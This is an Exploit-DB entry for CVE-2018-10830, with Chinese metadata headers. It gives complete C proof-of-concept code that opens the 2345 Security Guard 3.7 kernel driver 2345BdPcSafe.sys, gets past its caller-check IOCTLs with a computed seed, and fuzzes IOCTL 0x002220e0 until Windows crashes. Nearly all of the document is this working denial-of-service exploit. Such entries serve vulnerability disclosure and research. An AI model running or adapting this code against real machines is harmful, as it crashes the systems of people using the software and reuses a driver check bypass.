标题: 2345 Security Guard 3.7 - '2345BdPcSafe.sys' Denial of Service EDB-ID: 44615 CVE: 2018-10830 类型: DOS 平台: WINDOWS 发布日期: 2018-05-11 漏洞利用脚本: # Exploit Title: [BSOD  by IOCTL 0x002220e0 in 2345BdPcSafe.sys  of 2345 Security Guard 3.7]
# Date: [20180509]
# Exploit Author: [anhkgg]
# Vendor Homepage: [http://safe.2345.cc/]
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
# Version: [v3.7] (REQUIRED)
# Tested on: [Windows X64]
# CVE : [CVE-2018- 10830]

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

struct NETFW_IOCTL_ADD_PID
{
 DWORD pid;
 char seed[0x14];//4 + 14
};//0x18

#pragma pack(push)
#pragma pack(1)
struct NETFW_IOCTL_SET_PID
{
 BYTE set_state;//
 WORD buf_len;//1
 DWORD pid;//3
 char buf[0x64];//7
};//6B
#pragma pack(pop)

int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
 BYTE *a1_; // eax

 a1_ = a1;
 *a1_ ^= *a2;
 *a2 ^= *a1;
 *a1_ ^= *a2;
 return (int)a1_;
}

int __stdcall sub_12A80(char *a1, int len, char *a3)
{
 int result;
 unsigned __int8 v4;
 __int16 i;
 __int16 j;
 unsigned __int8 k;

 for (i = 0; i < 256; ++i)
  a3[i] = i;
 a3[256] = 0;
 a3[257] = 0;
 k = 0;
 v4 = 0;
 result = 0;
 for (j = 0; j < 256; ++j)
 {
  v4 += a3[j] + a1[k];
  f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
  result = (k + 1) / len;
  k = (k + 1) % len;
 }
 return result;
}

char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
 char *v3; // esi
 unsigned int v4; // ebx
 unsigned __int8 result; // al
 int v6; // edi
 char *v7; // ST18_4
 int v8; // [esp+14h] [ebp-8h]
 int v9; // [esp+18h] [ebp-4h]
 unsigned __int8 v10; // [esp+2Fh] [ebp+13h]

 v3 = a3;
 v4 = a3[256];
 result = a3[257];
 v9 = 0;
 if (len > 0)
 {
  v6 = (unsigned __int8)v4;
  v8 = 0;
  while (1)
  {
   v4 = (v6 + 1) & 0x800000FF;
   v6 = (unsigned __int8)v4;
   v10 = v3[(unsigned __int8)v4] + result;
   v7 = &v3[v10];
   f_XOR__12A30((BYTE*)&v3[(unsigned __int8)v4], (BYTE*)v7);
   a1[v8] ^= v3[(unsigned __int8)(v3[(unsigned __int8)v4] + *v7)];
   v8 = (signed __int16)++v9;
   if ((signed __int16)v9 >= len)
    break;
   result = v10;
  }
  result = v10;
 }
 v3[256] = v4;
 v3[257] = result;
 return (char *)result;
}

void calc_seed(char* seed, char* dst)
{
 char Source1[26] = { 0 };
 char a3[300] = { 0 };

 Source1[0] = 8;
 Source1[1] = 14;
 Source1[2] = 8;
 Source1[3] = 10;
 Source1[4] = 2;
 Source1[5] = 3;
 Source1[6] = 29;
 Source1[7] = 23;
 Source1[8] = 13;
 Source1[9] = 3;
 Source1[10] = 15;
 Source1[11] = 22;
 Source1[12] = 15;
 Source1[13] = 7;
 Source1[14] = 91;
 Source1[15] = 4;
 Source1[16] = 18;
 Source1[17] = 26;
 Source1[18] = 26;
 Source1[19] = 3;
 Source1[20] = 4;
 Source1[21] = 1;
 Source1[22] = 15;
 Source1[23] = 25;
 Source1[24] = 10;
 Source1[25] = 13;

 sub_12A80(seed, 0x14, a3);       
 sub_12B60(Source1, 0x1A, a3);
 memcpy(dst, Source1, 26);
}

BOOL BypassChk(HANDLE h)
{
 DWORD BytesReturned = 0;

 DWORD ctlcode = 0x222090;
 NETFW_IOCTL_ADD_PID add_pid = { 0 };
 add_pid.pid = GetCurrentProcessId();

 if (!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
  printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
  return FALSE;
 }

 ctlcode = 0x222094;
 NETFW_IOCTL_SET_PID set_pid = { 0 };
 set_pid.pid = GetCurrentProcessId();
 set_pid.set_state = 1;

 calc_seed(add_pid.seed, set_pid.buf);
 set_pid.buf_len = 26;

 if (!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
  printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
  return FALSE;
 }

 return TRUE;
}

HANDLE OpenDevice(char* path)
{
 return CreateFileA(path,
  GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}

CHAR asciiString10[0x10];
CHAR asciiString100[0x100];
CHAR asciiString1000[0x1000];
WCHAR unicodeString10[0x10];
WCHAR unicodeString100[0x100];
WCHAR unicodeString1000[0x1000];
DWORD tableDwords[0x100];

DWORD FuzzConstants[] = {
 0x00000000, 0x00000001, 0x00000004, 0xFFFFFFFF,
 0x00001000, 0xFFFF0000, 0xFFFFFFFE, 0xFFFFFFF0,
 0xFFFFFFFC, 0x70000000, 0x7FFEFFFF, 0x7FFFFFFF,
 0x80000000,
 (DWORD)asciiString10,
 (DWORD)asciiString100,
 (DWORD)asciiString1000,
 (DWORD)unicodeString10,
 (DWORD)unicodeString100,
 (DWORD)unicodeString1000,
 (DWORD)tableDwords
};

/* Period parameters */
#define N 624
#define M 397
#define MATRIX_A 0x9908b0dfUL   /* constant vector a */
#define UPPER_MASK 0x80000000UL /* most significant w-r bits */
#define LOWER_MASK 0x7fffffffUL /* least significant r bits */

static unsigned long mt[N]; /* the array for the state vector  */
static int mti = N + 1; /* mti==N+1 means mt[N] is not initialized */

/* initializes mt[N] with a seed */
void init_genrand(unsigned long s)
{
 mt[0] = s & 0xffffffffUL;
 for (mti = 1; mti < N; mti++) {
  mt[mti] =
   (1812433253UL * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti);
  /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
  /* In the previous versions, MSBs of the seed affect   */
  /* only MSBs of the array mt[].                        */
  /* 2002/01/09 modified by Makoto Matsumoto             */
  mt[mti] &= 0xffffffffUL;
  /* for >32 bit machines */
 }
}

/* generates a random number on [0,0xffffffff]-interval */
unsigned long genrand_int32(void)
{
 unsigned long y;
 static unsigned long mag01[2] = { 0x0UL, MATRIX_A };
 /* mag01[x] = x * MATRIX_A  for x=0,1 */

 if (mti >= N) { /* generate N words at one time */
  int kk;

  if (mti == N + 1)   /* if init_genrand() has not been called, */
   init_genrand(5489UL); /* a default initial seed is used */

  for (kk = 0; kk < N - M; kk++) {
   y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
   mt[kk] = mt[kk + M] ^ (y >> 1) ^ mag01[y & 0x1UL];
  }
  for (; kk < N - 1; kk++) {
   y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
   mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
  }
  y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
  mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ mag01[y & 0x1UL];

  mti = 0;
 }

 y = mt[mti++];

 /* Tempering */
 y ^= (y >> 11);
 y ^= (y << 7) & 0x9d2c5680UL;
 y ^= (y << 15) & 0xefc60000UL;
 y ^= (y >> 18);

 return y;
}

unsigned long getrand(unsigned long min, unsigned long max)
{
 return (genrand_int32() % (max - min + 1)) + min;
}

//3.7.0.2860
int poc_2345NetFirewall()
{
 
 DWORD BytesReturned = 0;

 HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
 if (h == INVALID_HANDLE_VALUE) {
  printf("[-] Open device error: %d\n", GetLastError());
  return 1;
 }

 if (!BypassChk(h)) {
  printf("[-] error!");
  return 1;
 }

 DWORD ctlcode = 0x002220e0;
 BYTE  bufInput[0x10000] = { 0 };
 BYTE  bufOutput[0x10000] = { 0 };

 srand(time(NULL));
 int count = 0;
 while (count++ < 1000) {
  // Choose a random length for the buffer
  size_t randomLength = getrand(4, 0x400);

  for (int i = 0; i < randomLength; i = i + 4) {
   int fuzzData = FuzzConstants[getrand(0, (sizeof(FuzzConstants) / 4) - 1)];

   // Choose a random element into FuzzConstants
   bufInput[i] = fuzzData & 0x000000ff;
   bufInput[i + 1] = (fuzzData & 0x0000ff00) >> 8;
   bufInput[i + 2] = (fuzzData & 0x00ff0000) >> 16;
   bufInput[i + 3] = (fuzzData & 0xff000000) >> 24;
  }

  DeviceIoControl(h,
   ctlcode,
   bufInput,
   randomLength,
   bufOutput,
   0,
   &BytesReturned,
   NULL);

  Sleep(10);
 }

 return 0;
}

int main()
{
 poc_2345NetFirewall();

 printf("poc failed!\n");

 getchar();
  
 return 0;
} URL: https://www.exploit-db.com/exploits/44615